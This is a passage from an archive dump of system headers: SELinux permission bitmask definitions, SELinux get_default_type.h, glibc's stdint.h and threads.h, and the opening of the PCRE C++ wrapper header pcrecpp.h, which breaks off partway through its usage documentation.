#define NETLINK_IP6FW_SOCKET__IOCTL 0x00000001UL #define NETLINK_IP6FW_SOCKET__READ 0x00000002UL #define NETLINK_IP6FW_SOCKET__WRITE 0x00000004UL #define NETLINK_IP6FW_SOCKET__CREATE 0x00000008UL #define NETLINK_IP6FW_SOCKET__GETATTR 0x00000010UL #define NETLINK_IP6FW_SOCKET__SETATTR 0x00000020UL #define NETLINK_IP6FW_SOCKET__LOCK 0x00000040UL #define NETLINK_IP6FW_SOCKET__RELABELFROM 0x00000080UL #define NETLINK_IP6FW_SOCKET__RELABELTO 0x00000100UL #define NETLINK_IP6FW_SOCKET__APPEND 0x00000200UL #define NETLINK_IP6FW_SOCKET__BIND 0x00000400UL #define NETLINK_IP6FW_SOCKET__CONNECT 0x00000800UL #define NETLINK_IP6FW_SOCKET__LISTEN 0x00001000UL #define NETLINK_IP6FW_SOCKET__ACCEPT 0x00002000UL #define NETLINK_IP6FW_SOCKET__GETOPT 0x00004000UL #define NETLINK_IP6FW_SOCKET__SETOPT 0x00008000UL #define NETLINK_IP6FW_SOCKET__SHUTDOWN 0x00010000UL #define NETLINK_IP6FW_SOCKET__RECVFROM 0x00020000UL #define NETLINK_IP6FW_SOCKET__SENDTO 0x00040000UL #define NETLINK_IP6FW_SOCKET__RECV_MSG 0x00080000UL #define NETLINK_IP6FW_SOCKET__SEND_MSG 0x00100000UL #define NETLINK_IP6FW_SOCKET__NAME_BIND 0x00200000UL #define NETLINK_IP6FW_SOCKET__NLMSG_READ 0x00400000UL #define NETLINK_IP6FW_SOCKET__NLMSG_WRITE 0x00800000UL #define NETLINK_DNRT_SOCKET__IOCTL 0x00000001UL #define NETLINK_DNRT_SOCKET__READ 0x00000002UL #define NETLINK_DNRT_SOCKET__WRITE 0x00000004UL #define NETLINK_DNRT_SOCKET__CREATE 0x00000008UL #define NETLINK_DNRT_SOCKET__GETATTR 0x00000010UL #define NETLINK_DNRT_SOCKET__SETATTR 0x00000020UL #define NETLINK_DNRT_SOCKET__LOCK 0x00000040UL #define NETLINK_DNRT_SOCKET__RELABELFROM 0x00000080UL #define NETLINK_DNRT_SOCKET__RELABELTO 0x00000100UL #define NETLINK_DNRT_SOCKET__APPEND 0x00000200UL #define NETLINK_DNRT_SOCKET__BIND 0x00000400UL #define NETLINK_DNRT_SOCKET__CONNECT 0x00000800UL #define NETLINK_DNRT_SOCKET__LISTEN 0x00001000UL #define NETLINK_DNRT_SOCKET__ACCEPT 0x00002000UL #define NETLINK_DNRT_SOCKET__GETOPT 0x00004000UL #define NETLINK_DNRT_SOCKET__SETOPT 0x00008000UL #define NETLINK_DNRT_SOCKET__SHUTDOWN 0x00010000UL #define NETLINK_DNRT_SOCKET__RECVFROM 0x00020000UL #define NETLINK_DNRT_SOCKET__SENDTO 0x00040000UL #define NETLINK_DNRT_SOCKET__RECV_MSG 0x00080000UL #define NETLINK_DNRT_SOCKET__SEND_MSG 0x00100000UL #define NETLINK_DNRT_SOCKET__NAME_BIND 0x00200000UL #define DBUS__ACQUIRE_SVC 0x00000001UL #define DBUS__SEND_MSG 0x00000002UL #define NSCD__GETPWD 0x00000001UL #define NSCD__GETGRP 0x00000002UL #define NSCD__GETHOST 0x00000004UL #define NSCD__GETSTAT 0x00000008UL #define NSCD__ADMIN 0x00000010UL #define NSCD__SHMEMPWD 0x00000020UL #define NSCD__SHMEMGRP 0x00000040UL #define NSCD__SHMEMHOST 0x00000080UL #define NSCD__GETSERV 0x00000100UL #define NSCD__SHMEMSERV 0x00000200UL #define NSCD__GETNETGRP 0x00000400UL #define NSCD__SHMEMNETGRP 0x00000800UL #define ASSOCIATION__SENDTO 0x00000001UL #define ASSOCIATION__RECVFROM 0x00000002UL #define ASSOCIATION__SETCONTEXT 0x00000004UL #define ASSOCIATION__POLMATCH 0x00000008UL #define NETLINK_KOBJECT_UEVENT_SOCKET__IOCTL 0x00000001UL #define NETLINK_KOBJECT_UEVENT_SOCKET__READ 0x00000002UL #define NETLINK_KOBJECT_UEVENT_SOCKET__WRITE 0x00000004UL #define NETLINK_KOBJECT_UEVENT_SOCKET__CREATE 0x00000008UL #define NETLINK_KOBJECT_UEVENT_SOCKET__GETATTR 0x00000010UL #define NETLINK_KOBJECT_UEVENT_SOCKET__SETATTR 0x00000020UL #define NETLINK_KOBJECT_UEVENT_SOCKET__LOCK 0x00000040UL #define NETLINK_KOBJECT_UEVENT_SOCKET__RELABELFROM 0x00000080UL #define NETLINK_KOBJECT_UEVENT_SOCKET__RELABELTO 0x00000100UL #define NETLINK_KOBJECT_UEVENT_SOCKET__APPEND 0x00000200UL #define NETLINK_KOBJECT_UEVENT_SOCKET__BIND 0x00000400UL #define NETLINK_KOBJECT_UEVENT_SOCKET__CONNECT 0x00000800UL #define NETLINK_KOBJECT_UEVENT_SOCKET__LISTEN 0x00001000UL #define NETLINK_KOBJECT_UEVENT_SOCKET__ACCEPT 0x00002000UL #define NETLINK_KOBJECT_UEVENT_SOCKET__GETOPT 0x00004000UL #define NETLINK_KOBJECT_UEVENT_SOCKET__SETOPT 0x00008000UL #define NETLINK_KOBJECT_UEVENT_SOCKET__SHUTDOWN 0x00010000UL #define NETLINK_KOBJECT_UEVENT_SOCKET__RECVFROM 0x00020000UL #define NETLINK_KOBJECT_UEVENT_SOCKET__SENDTO 0x00040000UL #define NETLINK_KOBJECT_UEVENT_SOCKET__RECV_MSG 0x00080000UL #define NETLINK_KOBJECT_UEVENT_SOCKET__SEND_MSG 0x00100000UL #define NETLINK_KOBJECT_UEVENT_SOCKET__NAME_BIND 0x00200000UL #define APPLETALK_SOCKET__IOCTL 0x00000001UL #define APPLETALK_SOCKET__READ 0x00000002UL #define APPLETALK_SOCKET__WRITE 0x00000004UL #define APPLETALK_SOCKET__CREATE 0x00000008UL #define APPLETALK_SOCKET__GETATTR 0x00000010UL #define APPLETALK_SOCKET__SETATTR 0x00000020UL #define APPLETALK_SOCKET__LOCK 0x00000040UL #define APPLETALK_SOCKET__RELABELFROM 0x00000080UL #define APPLETALK_SOCKET__RELABELTO 0x00000100UL #define APPLETALK_SOCKET__APPEND 0x00000200UL #define APPLETALK_SOCKET__BIND 0x00000400UL #define APPLETALK_SOCKET__CONNECT 0x00000800UL #define APPLETALK_SOCKET__LISTEN 0x00001000UL #define APPLETALK_SOCKET__ACCEPT 0x00002000UL #define APPLETALK_SOCKET__GETOPT 0x00004000UL #define APPLETALK_SOCKET__SETOPT 0x00008000UL #define APPLETALK_SOCKET__SHUTDOWN 0x00010000UL #define APPLETALK_SOCKET__RECVFROM 0x00020000UL #define APPLETALK_SOCKET__SENDTO 0x00040000UL #define APPLETALK_SOCKET__RECV_MSG 0x00080000UL #define APPLETALK_SOCKET__SEND_MSG 0x00100000UL #define APPLETALK_SOCKET__NAME_BIND 0x00200000UL #define PACKET__SEND 0x00000001UL #define PACKET__RECV 0x00000002UL #define PACKET__RELABELTO 0x00000004UL #define PACKET__FLOW_IN 0x00000008UL #define PACKET__FLOW_OUT 0x00000010UL #define PACKET__FORWARD_IN 0x00000020UL #define PACKET__FORWARD_OUT 0x00000040UL #define KEY__VIEW 0x00000001UL #define KEY__READ 0x00000002UL #define KEY__WRITE 0x00000004UL #define KEY__SEARCH 0x00000008UL #define KEY__LINK 0x00000010UL #define KEY__SETATTR 0x00000020UL #define KEY__CREATE 0x00000040UL #define CONTEXT__TRANSLATE 0x00000001UL #define CONTEXT__CONTAINS 0x00000002UL #define DCCP_SOCKET__IOCTL 0x00000001UL #define DCCP_SOCKET__READ 0x00000002UL #define DCCP_SOCKET__WRITE 0x00000004UL #define DCCP_SOCKET__CREATE 0x00000008UL #define DCCP_SOCKET__GETATTR 0x00000010UL #define DCCP_SOCKET__SETATTR 0x00000020UL #define DCCP_SOCKET__LOCK 0x00000040UL #define DCCP_SOCKET__RELABELFROM 0x00000080UL #define DCCP_SOCKET__RELABELTO 0x00000100UL #define DCCP_SOCKET__APPEND 0x00000200UL #define DCCP_SOCKET__BIND 0x00000400UL #define DCCP_SOCKET__CONNECT 0x00000800UL #define DCCP_SOCKET__LISTEN 0x00001000UL #define DCCP_SOCKET__ACCEPT 0x00002000UL #define DCCP_SOCKET__GETOPT 0x00004000UL #define DCCP_SOCKET__SETOPT 0x00008000UL #define DCCP_SOCKET__SHUTDOWN 0x00010000UL #define DCCP_SOCKET__RECVFROM 0x00020000UL #define DCCP_SOCKET__SENDTO 0x00040000UL #define DCCP_SOCKET__RECV_MSG 0x00080000UL #define DCCP_SOCKET__SEND_MSG 0x00100000UL #define DCCP_SOCKET__NAME_BIND 0x00200000UL #define DCCP_SOCKET__NODE_BIND 0x00400000UL #define DCCP_SOCKET__NAME_CONNECT 0x00800000UL #define MEMPROTECT__MMAP_ZERO 0x00000001UL #define DB_DATABASE__CREATE 0x00000001UL #define DB_DATABASE__DROP 0x00000002UL #define DB_DATABASE__GETATTR 0x00000004UL #define DB_DATABASE__SETATTR 0x00000008UL #define DB_DATABASE__RELABELFROM 0x00000010UL #define DB_DATABASE__RELABELTO 0x00000020UL #define DB_DATABASE__ACCESS 0x00000040UL #define DB_DATABASE__INSTALL_MODULE 0x00000080UL #define DB_DATABASE__LOAD_MODULE 0x00000100UL #define DB_DATABASE__GET_PARAM 0x00000200UL #define DB_DATABASE__SET_PARAM 0x00000400UL #define DB_TABLE__CREATE 0x00000001UL #define DB_TABLE__DROP 0x00000002UL #define DB_TABLE__GETATTR 0x00000004UL #define DB_TABLE__SETATTR 0x00000008UL #define DB_TABLE__RELABELFROM 0x00000010UL #define DB_TABLE__RELABELTO 0x00000020UL #define DB_TABLE__USE 0x00000040UL #define DB_TABLE__SELECT 0x00000080UL #define DB_TABLE__UPDATE 0x00000100UL #define DB_TABLE__INSERT 0x00000200UL #define DB_TABLE__DELETE 0x00000400UL #define DB_TABLE__LOCK 0x00000800UL #define DB_PROCEDURE__CREATE 0x00000001UL #define DB_PROCEDURE__DROP 0x00000002UL #define DB_PROCEDURE__GETATTR 0x00000004UL #define DB_PROCEDURE__SETATTR 0x00000008UL #define DB_PROCEDURE__RELABELFROM 0x00000010UL #define DB_PROCEDURE__RELABELTO 0x00000020UL #define DB_PROCEDURE__EXECUTE 0x00000040UL #define DB_PROCEDURE__ENTRYPOINT 0x00000080UL #define DB_COLUMN__CREATE 0x00000001UL #define DB_COLUMN__DROP 0x00000002UL #define DB_COLUMN__GETATTR 0x00000004UL #define DB_COLUMN__SETATTR 0x00000008UL #define DB_COLUMN__RELABELFROM 0x00000010UL #define DB_COLUMN__RELABELTO 0x00000020UL #define DB_COLUMN__USE 0x00000040UL #define DB_COLUMN__SELECT 0x00000080UL #define DB_COLUMN__UPDATE 0x00000100UL #define DB_COLUMN__INSERT 0x00000200UL #define DB_TUPLE__RELABELFROM 0x00000001UL #define DB_TUPLE__RELABELTO 0x00000002UL #define DB_TUPLE__USE 0x00000004UL #define DB_TUPLE__SELECT 0x00000008UL #define DB_TUPLE__UPDATE 0x00000010UL #define DB_TUPLE__INSERT 0x00000020UL #define DB_TUPLE__DELETE 0x00000040UL #define DB_BLOB__CREATE 0x00000001UL #define DB_BLOB__DROP 0x00000002UL #define DB_BLOB__GETATTR 0x00000004UL #define DB_BLOB__SETATTR 0x00000008UL #define DB_BLOB__RELABELFROM 0x00000010UL #define DB_BLOB__RELABELTO 0x00000020UL #define DB_BLOB__READ 0x00000040UL #define DB_BLOB__WRITE 0x00000080UL #define DB_BLOB__IMPORT 0x00000100UL #define DB_BLOB__EXPORT 0x00000200UL #define PEER__RECV 0x00000001UL #define X_APPLICATION_DATA__PASTE 0x00000001UL #define X_APPLICATION_DATA__PASTE_AFTER_CONFIRM 0x00000002UL #define X_APPLICATION_DATA__COPY 0x00000004UL selinux/get_default_type.h 0000644 00000001165 15246445046 0011745 0 ustar 00 /* get_default_type.h - contains header information and function prototypes * for functions to get the default type for a role */ #ifndef _SELINUX_GET_DEFAULT_TYPE_H_ #define _SELINUX_GET_DEFAULT_TYPE_H_ #ifdef __cplusplus extern "C" { #endif /* Return path to default type file. */ const char *selinux_default_type_path(void); /* Get the default type (domain) for 'role' and set 'type' to refer to it. Caller must free via free(). Return 0 on success or -1 otherwise. */ int get_default_type(const char *role, char **type); #ifdef __cplusplus } #endif #endif /* ifndef _GET_DEFAULT_TYPE_H_ */ stdint.h 0000644 00000020425 15246445046 0006237 0 ustar 00 /* Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * ISO C99: 7.18 Integer types <stdint.h> */ #ifndef _STDINT_H #define _STDINT_H 1 #define __GLIBC_INTERNAL_STARTING_HEADER_IMPLEMENTATION #include <bits/libc-header-start.h> #include <bits/types.h> #include <bits/wchar.h> #include <bits/wordsize.h> /* Exact integral types. */ /* Signed. */ #include <bits/stdint-intn.h> /* Unsigned. */ #include <bits/stdint-uintn.h> /* Small types. */ /* Signed. */ typedef __int_least8_t int_least8_t; typedef __int_least16_t int_least16_t; typedef __int_least32_t int_least32_t; typedef __int_least64_t int_least64_t; /* Unsigned. */ typedef __uint_least8_t uint_least8_t; typedef __uint_least16_t uint_least16_t; typedef __uint_least32_t uint_least32_t; typedef __uint_least64_t uint_least64_t; /* Fast types. */ /* Signed. */ typedef signed char int_fast8_t; #if __WORDSIZE == 64 typedef long int int_fast16_t; typedef long int int_fast32_t; typedef long int int_fast64_t; #else typedef int int_fast16_t; typedef int int_fast32_t; __extension__ typedef long long int int_fast64_t; #endif /* Unsigned. */ typedef unsigned char uint_fast8_t; #if __WORDSIZE == 64 typedef unsigned long int uint_fast16_t; typedef unsigned long int uint_fast32_t; typedef unsigned long int uint_fast64_t; #else typedef unsigned int uint_fast16_t; typedef unsigned int uint_fast32_t; __extension__ typedef unsigned long long int uint_fast64_t; #endif /* Types for `void *' pointers. */ #if __WORDSIZE == 64 # ifndef __intptr_t_defined typedef long int intptr_t; # define __intptr_t_defined # endif typedef unsigned long int uintptr_t; #else # ifndef __intptr_t_defined typedef int intptr_t; # define __intptr_t_defined # endif typedef unsigned int uintptr_t; #endif /* Largest integral types. */ typedef __intmax_t intmax_t; typedef __uintmax_t uintmax_t; # if __WORDSIZE == 64 # define __INT64_C(c) c ## L # define __UINT64_C(c) c ## UL # else # define __INT64_C(c) c ## LL # define __UINT64_C(c) c ## ULL # endif /* Limits of integral types. */ /* Minimum of signed integral types. */ # define INT8_MIN (-128) # define INT16_MIN (-32767-1) # define INT32_MIN (-2147483647-1) # define INT64_MIN (-__INT64_C(9223372036854775807)-1) /* Maximum of signed integral types. */ # define INT8_MAX (127) # define INT16_MAX (32767) # define INT32_MAX (2147483647) # define INT64_MAX (__INT64_C(9223372036854775807)) /* Maximum of unsigned integral types. */ # define UINT8_MAX (255) # define UINT16_MAX (65535) # define UINT32_MAX (4294967295U) # define UINT64_MAX (__UINT64_C(18446744073709551615)) /* Minimum of signed integral types having a minimum size. */ # define INT_LEAST8_MIN (-128) # define INT_LEAST16_MIN (-32767-1) # define INT_LEAST32_MIN (-2147483647-1) # define INT_LEAST64_MIN (-__INT64_C(9223372036854775807)-1) /* Maximum of signed integral types having a minimum size. */ # define INT_LEAST8_MAX (127) # define INT_LEAST16_MAX (32767) # define INT_LEAST32_MAX (2147483647) # define INT_LEAST64_MAX (__INT64_C(9223372036854775807)) /* Maximum of unsigned integral types having a minimum size. */ # define UINT_LEAST8_MAX (255) # define UINT_LEAST16_MAX (65535) # define UINT_LEAST32_MAX (4294967295U) # define UINT_LEAST64_MAX (__UINT64_C(18446744073709551615)) /* Minimum of fast signed integral types having a minimum size. */ # define INT_FAST8_MIN (-128) # if __WORDSIZE == 64 # define INT_FAST16_MIN (-9223372036854775807L-1) # define INT_FAST32_MIN (-9223372036854775807L-1) # else # define INT_FAST16_MIN (-2147483647-1) # define INT_FAST32_MIN (-2147483647-1) # endif # define INT_FAST64_MIN (-__INT64_C(9223372036854775807)-1) /* Maximum of fast signed integral types having a minimum size. */ # define INT_FAST8_MAX (127) # if __WORDSIZE == 64 # define INT_FAST16_MAX (9223372036854775807L) # define INT_FAST32_MAX (9223372036854775807L) # else # define INT_FAST16_MAX (2147483647) # define INT_FAST32_MAX (2147483647) # endif # define INT_FAST64_MAX (__INT64_C(9223372036854775807)) /* Maximum of fast unsigned integral types having a minimum size. */ # define UINT_FAST8_MAX (255) # if __WORDSIZE == 64 # define UINT_FAST16_MAX (18446744073709551615UL) # define UINT_FAST32_MAX (18446744073709551615UL) # else # define UINT_FAST16_MAX (4294967295U) # define UINT_FAST32_MAX (4294967295U) # endif # define UINT_FAST64_MAX (__UINT64_C(18446744073709551615)) /* Values to test for integral types holding `void *' pointer. */ # if __WORDSIZE == 64 # define INTPTR_MIN (-9223372036854775807L-1) # define INTPTR_MAX (9223372036854775807L) # define UINTPTR_MAX (18446744073709551615UL) # else # define INTPTR_MIN (-2147483647-1) # define INTPTR_MAX (2147483647) # define UINTPTR_MAX (4294967295U) # endif /* Minimum for largest signed integral type. */ # define INTMAX_MIN (-__INT64_C(9223372036854775807)-1) /* Maximum for largest signed integral type. */ # define INTMAX_MAX (__INT64_C(9223372036854775807)) /* Maximum for largest unsigned integral type. */ # define UINTMAX_MAX (__UINT64_C(18446744073709551615)) /* Limits of other integer types. */ /* Limits of `ptrdiff_t' type. */ # if __WORDSIZE == 64 # define PTRDIFF_MIN (-9223372036854775807L-1) # define PTRDIFF_MAX (9223372036854775807L) # else # if __WORDSIZE32_PTRDIFF_LONG # define PTRDIFF_MIN (-2147483647L-1) # define PTRDIFF_MAX (2147483647L) # else # define PTRDIFF_MIN (-2147483647-1) # define PTRDIFF_MAX (2147483647) # endif # endif /* Limits of `sig_atomic_t'. */ # define SIG_ATOMIC_MIN (-2147483647-1) # define SIG_ATOMIC_MAX (2147483647) /* Limit of `size_t' type. */ # if __WORDSIZE == 64 # define SIZE_MAX (18446744073709551615UL) # else # if __WORDSIZE32_SIZE_ULONG # define SIZE_MAX (4294967295UL) # else # define SIZE_MAX (4294967295U) # endif # endif /* Limits of `wchar_t'. */ # ifndef WCHAR_MIN /* These constants might also be defined in <wchar.h>. */ # define WCHAR_MIN __WCHAR_MIN # define WCHAR_MAX __WCHAR_MAX # endif /* Limits of `wint_t'. */ # define WINT_MIN (0u) # define WINT_MAX (4294967295u) /* Signed. */ # define INT8_C(c) c # define INT16_C(c) c # define INT32_C(c) c # if __WORDSIZE == 64 # define INT64_C(c) c ## L # else # define INT64_C(c) c ## LL # endif /* Unsigned. */ # define UINT8_C(c) c # define UINT16_C(c) c # define UINT32_C(c) c ## U # if __WORDSIZE == 64 # define UINT64_C(c) c ## UL # else # define UINT64_C(c) c ## ULL # endif /* Maximal type. */ # if __WORDSIZE == 64 # define INTMAX_C(c) c ## L # define UINTMAX_C(c) c ## UL # else # define INTMAX_C(c) c ## LL # define UINTMAX_C(c) c ## ULL # endif #if __GLIBC_USE (IEC_60559_BFP_EXT) # define INT8_WIDTH 8 # define UINT8_WIDTH 8 # define INT16_WIDTH 16 # define UINT16_WIDTH 16 # define INT32_WIDTH 32 # define UINT32_WIDTH 32 # define INT64_WIDTH 64 # define UINT64_WIDTH 64 # define INT_LEAST8_WIDTH 8 # define UINT_LEAST8_WIDTH 8 # define INT_LEAST16_WIDTH 16 # define UINT_LEAST16_WIDTH 16 # define INT_LEAST32_WIDTH 32 # define UINT_LEAST32_WIDTH 32 # define INT_LEAST64_WIDTH 64 # define UINT_LEAST64_WIDTH 64 # define INT_FAST8_WIDTH 8 # define UINT_FAST8_WIDTH 8 # define INT_FAST16_WIDTH __WORDSIZE # define UINT_FAST16_WIDTH __WORDSIZE # define INT_FAST32_WIDTH __WORDSIZE # define UINT_FAST32_WIDTH __WORDSIZE # define INT_FAST64_WIDTH 64 # define UINT_FAST64_WIDTH 64 # define INTPTR_WIDTH __WORDSIZE # define UINTPTR_WIDTH __WORDSIZE # define INTMAX_WIDTH 64 # define UINTMAX_WIDTH 64 # define PTRDIFF_WIDTH __WORDSIZE # define SIG_ATOMIC_WIDTH 32 # define SIZE_WIDTH __WORDSIZE # define WCHAR_WIDTH 32 # define WINT_WIDTH 32 #endif #endif /* stdint.h */ threads.h 0000644 00000014777 15246445046 0006401 0 ustar 00 /* ISO C11 Standard: 7.26 - Thread support library <threads.h>. Copyright (C) 2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _THREADS_H #define _THREADS_H 1 #include <features.h> #include <time.h> __BEGIN_DECLS #include <bits/pthreadtypes-arch.h> #include <bits/types/struct_timespec.h> #ifndef __cplusplus # define thread_local _Thread_local #endif #define TSS_DTOR_ITERATIONS 4 typedef unsigned int tss_t; typedef void (*tss_dtor_t) (void*); typedef unsigned long int thrd_t; typedef int (*thrd_start_t) (void*); /* Exit and error codes. */ enum { thrd_success = 0, thrd_busy = 1, thrd_error = 2, thrd_nomem = 3, thrd_timedout = 4 }; /* Mutex types. */ enum { mtx_plain = 0, mtx_recursive = 1, mtx_timed = 2 }; typedef struct { int __data __ONCE_ALIGNMENT; } once_flag; #define ONCE_FLAG_INIT { 0 } typedef union { char __size[__SIZEOF_PTHREAD_MUTEX_T]; long int __align __LOCK_ALIGNMENT; } mtx_t; typedef union { char __size[__SIZEOF_PTHREAD_COND_T]; __extension__ long long int __align __LOCK_ALIGNMENT; } cnd_t; /* Threads functions. */ /* Create a new thread executing the function __FUNC. Arguments for __FUNC are passed through __ARG. If succesful, __THR is set to new thread identifier. */ extern int thrd_create (thrd_t *__thr, thrd_start_t __func, void *__arg); /* Check if __LHS and __RHS point to the same thread. */ extern int thrd_equal (thrd_t __lhs, thrd_t __rhs); /* Return current thread identifier. */ extern thrd_t thrd_current (void); /* Block current thread execution for at least the time pointed by __TIME_POINT. The current thread may resume if receives a signal. In that case, if __REMAINING is not NULL, the remaining time is stored in the object pointed by it. */ extern int thrd_sleep (const struct timespec *__time_point, struct timespec *__remaining); /* Terminate current thread execution, cleaning up any thread local storage and freeing resources. Returns the value specified in __RES. */ extern void thrd_exit (int __res) __attribute__ ((__noreturn__)); /* Detach the thread identified by __THR from the current environment (it does not allow join or wait for it). */ extern int thrd_detach (thrd_t __thr); /* Block current thread until execution of __THR is complete. In case that __RES is not NULL, will store the return value of __THR when exiting. */ extern int thrd_join (thrd_t __thr, int *__res); /* Stop current thread execution and call the scheduler to decide which thread should execute next. The current thread may be selected by the scheduler to keep running. */ extern void thrd_yield (void); #ifdef __USE_EXTERN_INLINES /* Optimizations. */ __extern_inline int thrd_equal (thrd_t __thread1, thrd_t __thread2) { return __thread1 == __thread2; } #endif /* Mutex functions. */ /* Creates a new mutex object with type __TYPE. If successful the new object is pointed by __MUTEX. */ extern int mtx_init (mtx_t *__mutex, int __type); /* Block the current thread until the mutex pointed to by __MUTEX is unlocked. In that case current thread will not be blocked. */ extern int mtx_lock (mtx_t *__mutex); /* Block the current thread until the mutex pointed by __MUTEX is unlocked or time pointed by __TIME_POINT is reached. In case the mutex is unlock, the current thread will not be blocked. */ extern int mtx_timedlock (mtx_t *__restrict __mutex, const struct timespec *__restrict __time_point); /* Try to lock the mutex pointed by __MUTEX without blocking. If the mutex is free the current threads takes control of it, otherwise it returns immediately. */ extern int mtx_trylock (mtx_t *__mutex); /* Unlock the mutex pointed by __MUTEX. It may potentially awake other threads waiting on this mutex. */ extern int mtx_unlock (mtx_t *__mutex); /* Destroy the mutex object pointed by __MUTEX. */ extern void mtx_destroy (mtx_t *__mutex); /* Call function __FUNC exactly once, even if invoked from several threads. All calls must be made with the same __FLAGS object. */ extern void call_once (once_flag *__flag, void (*__func)(void)); /* Condition variable functions. */ /* Initialize new condition variable pointed by __COND. */ extern int cnd_init (cnd_t *__cond); /* Unblock one thread that currently waits on condition variable pointed by __COND. */ extern int cnd_signal (cnd_t *__cond); /* Unblock all threads currently waiting on condition variable pointed by __COND. */ extern int cnd_broadcast (cnd_t *__cond); /* Block current thread on the condition variable pointed by __COND. */ extern int cnd_wait (cnd_t *__cond, mtx_t *__mutex); /* Block current thread on the condition variable until condition variable pointed by __COND is signaled or time pointed by __TIME_POINT is reached. */ extern int cnd_timedwait (cnd_t *__restrict __cond, mtx_t *__restrict __mutex, const struct timespec *__restrict __time_point); /* Destroy condition variable pointed by __cond and free all of its resources. */ extern void cnd_destroy (cnd_t *__COND); /* Thread specific storage functions. */ /* Create new thread-specific storage key and stores it in the object pointed by __TSS_ID. If __DESTRUCTOR is not NULL, the function will be called when the thread terminates. */ extern int tss_create (tss_t *__tss_id, tss_dtor_t __destructor); /* Return the value held in thread-specific storage for the current thread identified by __TSS_ID. */ extern void *tss_get (tss_t __tss_id); /* Sets the value of the thread-specific storage identified by __TSS_ID for the current thread to __VAL. */ extern int tss_set (tss_t __tss_id, void *__val); /* Destroys the thread-specific storage identified by __TSS_ID. The destructor is not called until thrd_exit is called. */ extern void tss_delete (tss_t __tss_id); __END_DECLS #endif /* _THREADS_H */ pcrecpp.h 0000644 00000063641 15246445046 0006375 0 ustar 00 // Copyright (c) 2005, Google Inc. // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Author: Sanjay Ghemawat // Support for PCRE_XXX modifiers added by Giuseppe Maxia, July 2005 #ifndef _PCRECPP_H #define _PCRECPP_H // C++ interface to the pcre regular-expression library. RE supports // Perl-style regular expressions (with extensions like \d, \w, \s, // ...). // // ----------------------------------------------------------------------- // REGEXP SYNTAX: // // This module is part of the pcre library and hence supports its syntax // for regular expressions. // // The syntax is pretty similar to Perl's. For those not familiar // with Perl's regular expressions, here are some examples of the most // commonly used extensions: // // "hello (\\w+) world" -- \w matches a "word" character // "version (\\d+)" -- \d matches a digit // "hello\\s+world" -- \s matches any whitespace character // "\\b(\\w+)\\b" -- \b matches empty string at a word boundary // "(?i)hello" -- (?i) turns on case-insensitive matching // "/\\*(.*?)\\*/" -- .*? matches . minimum no. of times possible // // ----------------------------------------------------------------------- // MATCHING INTERFACE: // // The "FullMatch" operation checks that supplied text matches a // supplied pattern exactly. // // Example: successful match // pcrecpp::RE re("h.*o"); // re.FullMatch("hello"); // // Example: unsuccessful match (requires full match): // pcrecpp::RE re("e"); // !re.FullMatch("hello"); // // Example: creating a temporary RE object: // pcrecpp::RE("h.*o").FullMatch("hello"); // // You can pass in a "const char*" or a "string" for "text". The // examples below tend to use a const char*. // // You can, as in the different examples above, store the RE object // explicitly in a variable or use a temporary RE object. The // examples below use one mode or the other arbitrarily. Either // could correctly be used for any of these examples. // // ----------------------------------------------------------------------- // MATCHING WITH SUB-STRING EXTRACTION: // // You can supply extra pointer arguments to extract matched subpieces. // // Example: extracts "ruby" into "s" and 1234 into "i" // int i; // string s; // pcrecpp::RE re("(\\w+):(\\d+)"); // re.FullMatch("ruby:1234", &s, &i); // // Example: does not try to extract any extra sub-patterns // re.FullMatch("ruby:1234", &s); // // Example: does not try to extract into NULL // re.FullMatch("ruby:1234", NULL, &i); // // Example: integer overflow causes failure // !re.FullMatch("ruby:1234567891234", NULL, &i); // // Example: fails because there aren't enough sub-patterns: // !pcrecpp::RE("\\w+:\\d+").FullMatch("ruby:1234", &s); // // Example: fails because string cannot be stored in integer // !pcrecpp::RE("(.*)").FullMatch("ruby", &i); // // The provided pointer arguments can be pointers to any scalar numeric // type, or one of // string (matched piece is copied to string) // StringPiece (StringPiece is mutated to point to matched piece) // T (where "bool T::ParseFrom(const char*, int)" exists) // NULL (the corresponding matched sub-pattern is not copied) // // CAVEAT: An optional sub-pattern that does not exist in the matched // string is assigned the empty string. Therefore, the following will // return false (because the empty string is not a 